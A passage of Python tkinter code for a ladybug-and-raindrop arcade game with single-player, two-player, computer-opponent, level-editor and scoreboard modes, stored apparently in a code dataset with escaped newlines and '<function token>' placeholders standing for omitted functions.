AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef 